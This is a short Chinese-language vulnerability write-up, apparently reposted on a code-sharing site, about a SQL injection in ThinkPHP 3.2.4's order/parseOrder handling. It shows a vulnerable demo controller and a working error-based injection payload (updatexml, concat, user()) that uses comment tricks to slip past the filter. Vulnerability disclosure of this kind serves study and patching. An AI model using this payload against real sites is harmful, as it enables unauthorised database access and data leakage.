ThinkPHP3.2.4 order方法注入


漏洞詳情:

漏洞文件:./ThinkPHP\Library\Think\Db\Driver.class.php 中的 parseOrder方法:

這也是繼上次order方法注入之后的修復手段。

可以看到首先判斷是否存在ASC或DESC,正是因為這判斷,導致了我們可以引入 ( 等禁止的字符,所以導致了繞過過濾進行注入。

漏洞證明:

漏洞demo代碼:

   public function orderby()
    {
        $obj = M('user');
        $res = $obj->where('id=1')->order(I('id'))->select();
        echo $obj->getLastSql();
    }

利用證明:

Payload:id=updatexml/*,*/(/*%20ASC,*/1,concat/*,*/(/*%20ASC,*/0x7e,user/*,*/(/*%20ASC,*/),0x7e),1)

就是將語句中的所有 (  替換成 /*,*/(/*%20ASC,*/ 即可繞過過濾進行注入。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2026 CODEPRJ.COM